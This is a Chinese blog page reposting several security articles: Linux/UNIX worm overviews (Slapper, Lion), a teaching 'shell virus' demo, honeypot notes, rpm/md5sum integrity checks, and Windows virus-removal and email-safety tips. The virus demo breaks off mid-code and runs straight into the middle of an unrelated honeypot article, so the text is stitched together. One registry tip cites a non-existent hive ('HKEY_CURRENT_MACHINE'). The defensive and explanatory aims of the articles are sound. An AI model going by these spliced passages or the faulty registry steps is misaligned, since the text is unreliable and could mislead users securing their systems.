系统安全之谈谈Linux和UNIX下的病毒
作者:smtk 来源:赛迪网安全社区
不久以前,很多系统管理员还信誓旦旦的表示,Linux和其他基于UNIX的平台对于病毒和蠕虫事实上是无懈可击的。我不知道为什么他们对自己的威胁分析这么自信,特别是从第一个大型蠕虫在1988年被RobertMorris发明,在使用Sendmail程序的UNIX系统中被释放出来以后。我猜测每个人都变得热衷于批评微软的操作系统和软件,这已经成为越来越多病毒制造者的攻击目标,然而他们却遗忘了UNIX上的脆弱点。
Linux/UNIX威胁
随着Klez病毒在Linux平台上传染的通告,防毒软件厂商开始提醒我们微软的操作系统不再是唯一易受病毒攻击的操作系统了。即使Linux和其他一些主流UNIX平台的用户可能不是微软捆绑应用软件的大用户,不可能通过这些软件造成病毒的泛滥,Linux和UNIX仍然有它们自身并不引人注目的脆弱点。
除了Klez以外,其他Linux/UNIX平台的主要威胁有:Lion.worm、OSF.8759病毒、Slapper、Scalper、Linux.Svat和BoxPoison病毒,这些很少被提及。
我记得曾经在两年前参加了一个由欧洲最大的财政机构完成的安全审计项目,当时我听见一个知名的安全专家告诉审计师,UNIX是不易受病毒攻击的。审计师只是简单的说了一句"okay",然后纪录下"UNIX系统对于病毒是安全的"。那个时代已经过去了,你现在可以预料到,安全审计师和IT安全团队已经开始强烈的需要UNIX平台上的病毒策略了。
一个叫Alexander Bartolich的奥地利学生甚至已经完成了如何一个编写Linux平台上ELF病毒的指南。Bartolich 没有要求做一个Linux病毒先锋,他表示,他只是更有效的说明了和反映了病毒、蠕虫和木马威胁Linux更好的途径,那些很早就已经在别处被说明了。有了这样具启发性的、在网上发布的文档,基于UNIX的病毒数量只会增长的更快,特别是自Linux在服务器领域的应用越来越广泛之后。系统管理员也许希望,在亲自读过那本指南以后,对Linux病毒的理解发生飞跃,从而能够更好的掌握Linux 的脆弱点。
病毒的制造者是一些精通编写代码的黑客,他们远比那些胡乱涂改网站却对编写病毒知之甚少的黑客要危险。尽管一个被黑掉的网站可以很快的修好,病毒却加更隐蔽,会带来潜在的安全隐患。你也许不能相信,但是病毒会一直潜伏,直到它给系统带来不可挽回的损害。
受影响的Linux/UNIX平台
不是所有版本的Linux/UNIX平台都已经被影响,但是下面这些是在从前已经被病毒侵害过的系统:
SuSE Linux
Mandrake Linux
Red Hat Linux
Debian GNU Linux
Slackware Linux
FreeBSD
HP/UX
IBM AIX
SCO Unixware
SCO OpenServer
Sun Solaris
SunOS
越多的Linux/UNIX系统连接到局域网和广域网,你的单位就有越多受攻击的可能,这是因为很多UNIX病毒正在快速的扩散着。使用WINE的Linux/UNIX系统特别容易受到病毒的攻击。WINE是一个公开源代码的兼容软件包,能让UNIX平台运行Windows应用软件。WINE系统特别容易遭受病毒的攻击,因为它们会使无论是对UNIX的还是对 Windows的病毒、蠕虫和木马都能对系统产生威胁。
威胁的本质
你不应该为Linux/UNIX平台上的病毒和Windows操作系统上的病毒工作方式不同而感到奇怪。不过,UNIX中病毒、蠕虫和木马工作的原理和Windows中的还是大同小异的。
病毒只不过是一个能不经过你的同意而感染和摧毁其他程序的程序。蠕虫是一个不经过你的同意而自我复制的代码块。尽管计算机程序中的bug也可能在未经你允许的情况下进行自我复制,它们还是有很大区别的。区别就在于bug的自我复制是无意识的,而病毒的自我复制却是有意识的。木马程序隐藏了它们进行数字破坏的企图。在一个UNIX环境下,木马可能被命名为一个合法的程序(例如tar或者df),可是它却能移除整个文件系统。
这些病毒和蠕虫如何工作
为了给你一个由UNIX病毒、蠕虫和木马产生的重大破坏过程的认识,我带你走进两个假想的环境来揭示它们是如何工作的。每个病毒、蠕虫和木马都有它们自己的特性和行为,当然,这些例子只能给你一个对它们怎样在Linux/UNIX里发作的认识。
让我们从Linux.Slapper worm.Slapper怎样侵袭一个Apache服务器开始。它通过HTTP的80端口连接到服务器,然后发送有效的GET请求,以发现正在使用的Apache服务器的版本,从而为详细的目标系统做一个自我定义。当找到了一个合适的易攻击的系统之后,它又连接到443端口,利用一个缓冲区溢出漏洞来采用合适的蠕虫包替换目标系统。
接着,蠕虫会利用一个本地编译器,例如gcc来编译自己。二进制结果跟着从/tmp目录开始扩散,监听UDP端口,以接受更长远的分布式拒绝服务(DDoS)攻击的指示。最后,DDoS攻击制造TCP洪流令系统瘫痪。某些Slapper病毒的变异体还会扫描整个B类网络寻找易攻击的Apache服务器。
另一种蠕虫,Linux Lionworm,扫描任意的B类网络里的53端口,从而找出易受攻击版本的BIND——最流行的Linux/UNIX DNS服务器。当LinuxLion worm找到一个易受攻击版本的BIND之后,它清除日志文件,接着种植各种木马文件以隐藏它的企图。Linux Lionworm可能安装的木马文件有:
/bin/in.telnetd
/bin/mjy
/bin/ps
/bin/netstat
/bin/ls
/etc/inetd.conf
/sbin/ifconfig
/usr/bin/find
/usr/sbin/nscd
/usr/sbin/in.fingerd
/usr/bin/top
/usr/bin/du
你可以看到,这些文件看起来是合法的UNIX文件,因此你可能怀疑你的第一眼所见,但这就是木马的关键所在。要掩盖它的足迹,LinuxLion可能会删除以下文件:
/.bash_history
/etc/hosts.deny
/root/.bash_history
/var/log/messages
/var/log/maillog
一旦已经对系统构成威胁,Lion会把密码文件发送给远程的计算机,其他Lion的变种可以通过嗅探器来嗅探活动连接中的密码信息。通过获得系统访问权限,病毒黑客们能利用远程系统进行DDoS攻击,窃取信用卡号,或者窃取和破坏机密文件、纪录。
Linux/UNIX的防毒产品
自从Linux成为最流行的UNIX平台之一以后,大多数为UNIX系统所编写的病毒瞄准了Linux平台。然而,一些厂商同样有一些非主流UNIX平台的软件包。如果你的单位正在使用Solaris、FreeBSD,或者其他版本的UNIX,不要期待找到很多防毒的选择。明显的,Linux/UNIX平台上的防毒软件正在蔓延,在教育,只有一部分厂商提供了Linux/UNIX平台的软件产品。
一些UNIX防毒产品被特别的设计安装在防火墙之上,因此你可以在UNIX病毒侵害其他系统之前将其拦截在防火墙上。另外的一些UNIX防毒产品被特别的设计在消息和群件服务器上。
保护你的系统不受自动化的黑客行为所侵害
病毒、蠕虫和木马基本上意味着自动化的黑客行为,也许被病毒攻击比被黑客攻击更可能发生。直接的黑客攻击目标一般是服务器,而病毒是等机会的麻烦制造者。如果你的网络包含了Linux或UNIX系统,特别危险的是服务器,不要在作出反应之前等待寻找UNIX病毒、蠕虫和木马是否存在。做一些调查然后选择一个适合你系统的防毒产品,它们能帮你防止病毒的传播。
Linux操作系统下Shell病毒详细介绍
作者:smtk 来源:赛迪网安全社区
【文中代码,仅供参考!】
说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。
这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。
SHELL病毒简介
1.前言
说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。
这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。
2.程序代码
#!/bin/sh
#文件名:virus_demo.sh
#用途:shell病毒演示。
#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写:watercloud@xfocus.org
#日期:2003-5-13
#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in .
将该程序放入root .bashrc中后台执行:
# root . bashrc
….
Sh .testfile&
该程序不能用Ctrl-C终止,系统管理员可用jobs命令检查到,然后用kill %n将它停止。
从上述三种陷阱的设置,我们可以看到一个一般的规律:改变正常的运行状态,设置虚假信息,使入侵者落入陷阱,从而触发入侵检测与预警控制程序。
8.关键技术设计
自蜜罐概念诞生之日起,相关技术一直在长足的发展。到今天为止,蜜罐技术应用的最高度应该说是Honeynet技术的实现。
9.总结
任何事物的存在都会有利弊,蜜罐技术的发展也是伴随着各种不同的观点而不断的成长的。蜜罐技术是通过诱导让黑客们误入歧途,消耗他们的精力,为我们加强防范赢得时间。通过蜜网让我们在受攻击的同时知道谁在使坏,目标是什么。同时也检验我们的安全策略是否正确,防线是否牢固,蜜罐的引入使我们与黑客之间同处于相互斗智的平台counter-intelligence,而不是处处遭到黑枪的被动地位。我们的网络并不安全,IDS,FIREWALL,Encryption技术都有其缺陷性,我们期待它们与蜜罐的完美结合,那将是对网络安全的最好礼物。我们完全相信,蜜罐技术必将在网络安全中发挥出极其重要的作用,一场世界上声势浩大的蜜罐技术行动必将到来。
Linux操作系统上如何阻止系统攻击者
作者:smtk 来源:赛迪网安全社区
在网络攻击环境下,这却是可能发生的。当一个攻击者利用一个系统漏洞非法入侵进入到你的系统。当你使用ps命令列出系统中的所有的进程时,却看不到什么异常的证据。你查看你的password文件,一切也是那么的正常。到底发生了什么事情呢?当系统进入到你的系统以后,第一步要做的事情就是取代系统上某些特定的文件:如netstat命令等。当你使用netstat-a命令时,就不会显示系统攻击者存在的信息。当然攻击者将替代所有的可能泄露其存在的文件。一般来说包括:
/bin/ps
/bin/netstat
/usr/bin/top
由于这些文件已经被取代。所以简单的利用ls命令查看这些文件是看不出什么破绽的。有若干种方法你可以验证系统文件的完整性。如果你安装的是RedHat, Caldera, TurboLinux或任何使用RPM的系统。你可以利用RPM来验证系统文件的完整性:
首先你应该查明你的那些你需要查看的文件来自哪个软件包,使用rpm命令你可以查明某个文件属于某个包:
# rpm -qf /bin/netstat
net-tools-1.51-3
然后,可以扫描整个rpm包来查看那些发生了改变。对没有发生改变的包使用该命令将没有任何输出信息,如下所示:
# rpm -V net-tools
#
将netstat的5.2版本的二进制可执行文件替换为6.0的版本以后再使用该命令的结果为:
.......T /bin/netstat
这说明/bin/netstat/文件已经被修改。若我使用rpm-qf测试ps和top命令可以得到其属于包procps,然后在验证包procps的完整性。下面是一个被黑的站点的结果:
# rpm -qf /bin/ps
procps.2.0.2-2
# rpm -V procps
SM5..UGT /bin/ps
SM5..UGT /usr/bin/top
攻击者入侵到系统中,并且用自己的ps及top命令替代了我们系统中的命令。从而使管理员看不到其运行的进程,也许是一个sniffer来监听所有的用户所有进出网络的数据并找寻到密码信息。
下面是一个小的script来扫描你系统的所有的rpm库,并检查所有的包是否被篡改。但是应该注意的是并不是所有该scripts报告的问题都是说明该系统文件被攻击者破坏。例如你的apssword文件一般肯定和你安装系统时是不同的:
#!/bin/bash
#
# Run through rpm database and report inconsistencies
#
for rpmlist in `rpm -qa` # These quotes are back quotes
do
echo ----- $rpmlist ----- ; rpm -V $rpmlist
done > /tmp/rpmverify.out
当你运行该scripts时,输出被定向到文件/tmp/rpmverify.out你可以使用less命令查看该文件。但是由于文本文件如:/etc/passwd,/etc/inetd.conf等很可能显示为被修改过。但是你如何知道这些是管理员自己修改的还是入侵者修改的呢方法是在你确保你的系统是干净的,没有被攻击者入侵时,你为这些系统文件创建指纹信息。在你怀疑你的系统被入侵时使用这些这些指纹信息来判定系统是否被入侵。创建文件的指纹信息是通过命令md5sum来实现的:
# md5sum /etc/passwd
d8439475fac2ea638cbad4fd6ca4bc22 /etc/passwd
# md5sum /bin/ps
6d16efee5baecce7a6db7d1e1a088813 /bin/ps
# md5sum /bin/netsat
b7dda3abd9a1429b23fd8687ad3dd551 /bin/netstat
这些数据是我的系统上的文件的指纹信息。不同的系统上的文件的指纹信息可能是不同的,你应该是使用md5sum来计算自己系统文件的指纹信息。下面是一些你应该创建指纹信息的文件;
/usr/bin/passwd
/sbin/portmap
/bin/login
/bin/ls
/usr/bin/top
/etc/inetd.conf
/etc/services
通过指纹信息你可以决定是否有系统文件被修改。
Tag:病毒 蜜罐 诱骗 入侵检测 Linux
发表于23时28分14秒 | 阅读全文 | 评论 0 | 编辑 | 分享 0
2007年02月07日
杀毒攻略:清除无法显示隐藏文件的病毒
杀毒攻略:清除无法显示隐藏文件的病毒
作者:skyxnet 来源:赛迪网安全社区
选择“显示隐藏文件”这一选项后,发现U盘有个文件闪出来一下就马上又消失了,而再打开文件夹选项时,发现仍就是“不显示隐藏文件”这一选项。而且刚发现点击C、D等盘符图标时会另外打开一个窗口!
总结:
I、病情描述:
1、无法显示隐藏文件;
2、点击C、D等盘符图标时会另外打开一个窗口;
3、用winrar查看时发现C、D等根目录下有autorun.inf和tel.xls.exe两个恶心的文件;
4、任务管理器中的应用进程一栏里有个莫明其妙的kill;
5、开机启动项中有莫明其妙的SocksA.exe。
II、解决办法:
用了一些专杀工具和DOS下的批处理文件,都不好使,只好DIY。注意在以下整个过程中不要双击硬盘分区,需要打开时用鼠标右键—>打开。
一、关闭病毒进程
在任务管理器应用程序里面查找类似kill等你不认识的进程,右键—>转到进程,找到类似SVOHOST.exe(也可能就是某个svchost.exe)的进程,右键—>结束进程树。
二、显示出被隐藏的系统文件
开始—>运行—>regedit
HKEY_LOCAL_MACHINESoftwareMicrosoftwindowsCurrentVersionexplorerAdvanced
FolderHiddenSHOWALL
删除CheckedValue键值,单击右键新建—>Dword值—>命名为CheckedValue,然后修改它的键值为1,这样就可以选择“显示所有隐藏文件”和“显示系统文件”。
三、删除病毒
在分区盘上单击鼠标右键—>打开,看到每个盘跟目录下有autorun.inf和tel.xls.exe 两个文件,将其删除,U盘同样。
四、删除病毒的自动运行项
开始—>运行—>msconfig—>启动—>删除类似sacksa.exe、SocksA.exe之类项,或者打开注册表运行regedit
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Run
删除类似C:WINDOWSsystem32SVOHOST.exe 的项。
五、删除遗留文件
C:WINDOWS 跟 C:WINDOWSsystem32目录下删除SVOHOST.exe(注意系统有一个类似文件,图标怪异的那个类似excel的图标的是病毒)session.exe、sacaka.exe、SocksA.exe以及所有excel类似图标的文件,每个文件夹两个,不要误删哦,自己注意。重启电脑后,基本可以了。
安全防护我先行——不准病毒自行启动
作者:skyxnet 来源:赛迪网安全社区
安全隐患:很多病毒都是通过注册表中的RUN值进行加载而实现随操作系统的启动而启动的,我们可以按照“禁止病毒启动服务”中介绍的方法将病毒和木马对该键值的修改权限去掉。
解决方法:运行“regedt32”指令启动注册表编辑器,找到注册表中的
HKEY_CURRENT_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRUN
分支,将Everyone对该分支的“读取”权限设置为“允许”,取消对“完全控制”权限的选择。这样病毒和木马就无法通过该键值启动自身了。
病毒和木马是不断“发展”的,我们也要不断学习新的防护知识,才能抵御病毒和木马的入侵。与其在感染病毒或木马后再进行查杀,不如提前做好防御工作,修筑好牢固的城墙进行抵御。毕竟亡羊补牢不是我们所希望发生的事情,“防患于未然”才是我们应该追求的。
远离病毒邮件的两大基本设置
出处:电脑迷
作者:花的神明
邮件客户端的设置,在之前的文章中曾经有过介绍。通过邮件客户端收信固然有它方便的一面,但是也潜伏着安全隐患。邮件是目前网络上病毒传播的一大途径,在这种情况下,应该如何应对呢?
一、HTML带来的隐患
在默认情况下,当在收件箱中点击邮件时,在邮件客户端软件的“邮件内容”窗口中就可以预览到邮件的内容,这实际上存在安全隐患。因为现在很多邮件是以HTML格式编写的,在带来和美观界面的同时,也让有些病毒有了可乘之机。
如果HTML格式的邮件中含有恶意代码,当预览这些邮件或点击邮件中的链接时,就容易激活病毒。虽然在Window XPSP2中,HTML代码会受到一定的限制。但为了避免病毒的破坏,笔者建议大家用纯文本格式预览邮件。以OE为例,点击菜单“工具/选项”,在选项窗口中打开“阅读”面板(如图1),勾选其中的“用纯文本格式阅读所有信息”项,就能以纯文本的格式预览邮件的内容了,邮件中除了纯文本之外的任何内容都会以附件的形式保存,可以在确认安全的情况下再将其打开。
图1 在OE中只使用纯文本格式阅读邮件
二、注意邮件附件
有趣的图片,视频,或者网络妙文,大家往往都喜欢在第一时间转发给朋友。前段时间,有一个名叫“老外看上海”的病毒邮件在网络上大肆流行。这个邮件的正文是“老外在上海拍的一些照片”,附件中有一个PowerPoint文档。只要你一时好奇,打开了这个PowerPoint文档,那么你得电脑中毒了,并且病毒会自动给你的联系人发送这封病毒邮件。
这件事情告诉我们三点:
1. 包含的附件是高危邮件。
2. 不管是什么格式的附件,不管发信人是谁,都不要随意打开附件。
3. 病毒附件的名称往往非常“诱人”,比如“搞笑照片”、“求职信”等等。
其实,邮件附件也不是绝对的魔鬼。很多杀毒软件都含有关于邮件的安全选项,通过对邮件的扫描,可以大大降低通过邮件中毒的风险。比如NOD32中,选择EMON这个模件,就会出现电子邮件保护对话框。在这里可以选择是否启用MSOutlook电子邮件保护。还会显示已扫描的文件数,以及受感染的,和已经清楚的病毒数目(如图2)。
图2 启用NOD32中的邮件保护功能
在这个窗口中点击“设定”,我们可以进一步对电子邮件保护进行定制,在定制中比较重要的是在“扫描仪”一栏中设定扫描范围,一般来说保持默认选择即可。如果你刚刚安装杀毒软件,可以点击下方的“重新扫描”按钮,对已存的邮件进行全面的扫描(如图3)。
图3 自定义NOD32邮件保护规则
切换到“操作”一栏,我们可以在这里定制杀毒软件发现病毒后的操作。笔者推荐大家选择“提示操作”,这样在发现邮件病毒后,NOD32会弹出提示,我们也可以及时发现是哪些发信人的邮件含有病毒。
最后的话:虽然说上述措施能够在一定程度上防范病毒邮件,但目前病毒技术也是日新月异,只有时刻保持警惕,才能从根本上解决病毒邮件的危害。
原文来自『查皮博客』:http://chapi.blogbus.com/index_1336.html